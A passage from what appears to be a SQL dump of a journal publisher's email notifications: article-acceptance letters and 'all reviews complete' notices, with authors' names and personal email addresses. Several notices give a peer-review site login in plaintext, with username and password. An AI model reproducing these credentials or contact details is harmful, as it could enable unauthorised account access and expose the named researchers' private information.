</tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','drbharathselvi@snmail.org',12548,'2022-04-30',984),(4086,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-12692</b><br />\r\n            <br />\r\n            Article Title: <b>New mechanism of DNMT3L revealed in a Down syndrome study</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>LU</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-05-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','lvjie@cmu.edu.cn',12692,'2022-05-04',75),(4087,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-12691</b><br />\r\n            <br />\r\n            Article Title: <b>Disciplinary screening of Electroencephalography (EEG) Referrals by neurologist ameliorates healthcare use economy</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Gomaa</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-05-07</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mgd00@fayoum.edu.eg',12691,'2022-05-07',75),(4088,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-12698</b><br />\r\n            <br />\r\n            Article Title: <b>Development Of Bioresorbable Braided Self Expanding Implantable Neurovascular Flow Diverter For Intracranial Aneurysm</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Deveshkumar</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-05-09</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','bharvi.thakor@merillife.com',12698,'2022-05-10',75),(4089,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-12720</b><br />\r\n            <br />\r\n            Article Title: <b>ISAAC Syndrome  </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Roy</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-05-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sumit.roy.sci@gmail.com',12720,'2022-05-12',75),(4090,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-22-12756</b><br />\r\n            <br />\r\n            Article Title: <b>Pertinence of the immunofixation prescription in the restrictions of heterogeneity of the gammaglobulin zone</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/annals-of-clinical-and-laboratory-research.html\" target=\"_blank\">Annals of Clinical and Laboratory Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Nader</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Annals of Clinical and Laboratory Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-06-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@galleyproofs.com\">accounting@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/annals-of-clinical-and-laboratory-research.html\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','soufianenader@gmail.com',12756,'2022-06-08',984),(4091,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-22-12769</b><br />\r\n            <br />\r\n            Article Title: <b>Comparative LCMS/MS Drug Analysis of paired Urine, Oral Fluid and Capillary Blood Samples in Addiction Therapy</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/annals-of-clinical-and-laboratory-research.html\" target=\"_blank\">Annals of Clinical and Laboratory Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Huppertz</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Annals of Clinical and Laboratory Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-06-14</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@galleyproofs.com\">accounting@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/annals-of-clinical-and-laboratory-research.html\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','huppertz@lab-quade.de',12769,'2022-06-14',984),(4092,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-12693</b><br />\r\n            <br />\r\n            Article Title: <b>Atrial fibrillation in ischemic stroke and TIA</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ablak</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-06-14</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','h.ablak@outlook.de',12693,'2022-06-15',75),(4093,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-22-12774</b><br />\r\n            <br />\r\n            Article Title: <b>Clinical significance of flow cytometry findings in brazilian patients with de novo acute myeloid leukemia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/annals-of-clinical-and-laboratory-research.html\" target=\"_blank\">Annals of Clinical and Laboratory Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Cavalcanti J&Atilde;&ordm;nior</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Annals of Clinical and Laboratory Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-06-16</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@galleyproofs.com\">accounting@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/annals-of-clinical-and-laboratory-research.html\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','gbcjunior@hotmail.com',12774,'2022-06-17',984),(4094,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-12799</b><br />\r\n            <br />\r\n            Article Title: <b>The current place of surgical interventions for the management of trigeminal neuralgia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>GARG</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-06-16</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','rashi.garg08@gmail.com',12799,'2022-06-17',75),(4095,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-12777</b><br />\r\n            <br />\r\n            Article Title: <b>Pediatric neuromyelitis optica and it management in rural practice in north Togo : about a 13-year-old young girl and review of literature</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Lehleng AGBA</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-22-12777</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',12777,'2022-06-29',75),(4096,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-12777</b><br />\r\n            <br />\r\n            Article Title: <b>Pediatric neuromyelitis optica and it management in rural practice in north Togo : about a 13-year-old young girl and review of literature</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>AGBA</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-06-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','thierrielle@gmail.com',12777,'2022-06-29',75),(4097,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-12723</b><br />\r\n            <br />\r\n            Article Title: <b>The role of meningeal lymphatic system in Alzheimer disease.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>FATIMA EZZAHRA ERRACHIDI</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-22-12723</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',12723,'2022-06-30',75),(4098,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"\"><br />\r\n            <font face=\"Verdana, Arial, Helvetica, sans-serif\">             Ref.:  Ms. No.  </font><b style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;\">ipjnn-22-12723</b><br />\r\n            <br />\r\n            <font face=\"Verdana, Arial, Helvetica, sans-serif\">              Article Title: </font><b style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;\">The role of meningeal lymphatic system in Alzheimer disease.</b><br />\r\n            <br />\r\n            <font face=\"Verdana, Arial, Helvetica, sans-serif\">              Journal Title: </font><b style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;\"><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            <font face=\"Verdana, Arial, Helvetica, sans-serif\">              Dear Dr.&nbsp;</font><span lang=\"EN-US\" style=\"line-height: 115%; font-size: 14.6667px;\"><font face=\"Times New Roman, serif\"><b></b></font><b>Fatima Ezzahra Errachid</b></span><span lang=\"EN-US\" style=\"font-size: 11pt; font-weight: bold; line-height: 115%;\">i</span><b style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;\"><span lang=\"EN-US\" style=\"font-size:11.0pt;mso-bidi-font-size:12.0pt;line-height:115%;&#10;font-family:&quot;Times New Roman&quot;,&quot;serif&quot;;mso-fareast-font-family:Calibri;&#10;mso-fareast-theme-font:minor-latin;mso-ansi-language:EN-US;mso-fareast-language:&#10;EN-US;mso-bidi-language:AR-SA\"><a id=\"fck_paste_padding\"></a></span></b><b style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;\"><span lang=\"EN-US\" style=\"font-size:11.0pt;mso-bidi-font-size:12.0pt;line-height:115%;&#10;font-family:&quot;Times New Roman&quot;,&quot;serif&quot;;mso-fareast-font-family:Calibri;&#10;mso-fareast-theme-font:minor-latin;mso-ansi-language:EN-US;mso-fareast-language:&#10;EN-US;mso-bidi-language:AR-SA\"><br />\r\n            </span></b><br />\r\n            <font face=\"Verdana, Arial, Helvetica, sans-serif\">              I am pleased to tell you that your work has now been accepted for publication in </font><b style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;\">Journal of Neurology and Neuroscience</b><font face=\"Verdana, Arial, Helvetica, sans-serif\">.</font><br />\r\n            <br />\r\n            <font face=\"Verdana, Arial, Helvetica, sans-serif\">              It is accepted on  </font><b style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;\">2022-06-29</b><br />\r\n            <br />\r\n            <div style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; border: 3px solid rgb(0, 153, 51); padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            <font face=\"Verdana, Arial, Helvetica, sans-serif\">              With Regards,</font><br />\r\n            <font face=\"Verdana, Arial, Helvetica, sans-serif\">             Managing Editor,</font><br />\r\n            <b style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;\"><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kimfatimal68@gmail.com',12723,'2022-06-30',75),(4099,'<p>Ref.:  Ms. No. <b>iphsj-22-12840</b><br />\r\n<br />\r\n<b>COVID-19 &ndash; Management and efficacy of Respiratory Intensive Care Unit during outbreak in Naples &ndash; Italy.</b><br />\r\n<br />\r\n<b>Health Science Journal</b><br />\r\n<br />\r\nDear <b>Dr. Di Micco</b>,<br />\r\n<br />\r\n<b>Pierpaolo&nbsp;Di Micco</b> has agreed to take on this assignment.<br />\r\n<br />\r\nRegards,<br />\r\n<b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></p>',2,'Editor Agrees To Handle Assignment','pdimicco@libero.it',12840,'2022-07-18',48),(4100,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-22-12562</b><br />\r\n            <br />\r\n            Article Title: <b>Tension Pyothorax: A rare thoracic emergency</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/universal-surgery.html\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Almutairi</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-07-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/universal-surgery.html\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','hadimutairi@mail.com',12562,'2022-07-19',319),(4101,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-12819</b><br />\r\n            <br />\r\n            Article Title: <b>A review on smallpox</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Kaleem ullah Muhammad </b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Sharma</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjbs-22-12819</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prabhat_k<br />\r\n            <b>Password:</b> TZTd1Vwt<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','sharmapk@chop.edu',12819,'2022-07-27',988),(4102,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-12104</b><br />\r\n            <br />\r\n            Article Title: <b>OVERVIEW ON IRON OXIDE MAGNETIC NANOPARTICLES AND POLYOL METHOD OF SYNTHESIS</b><br />\r\n            <br />\r\n            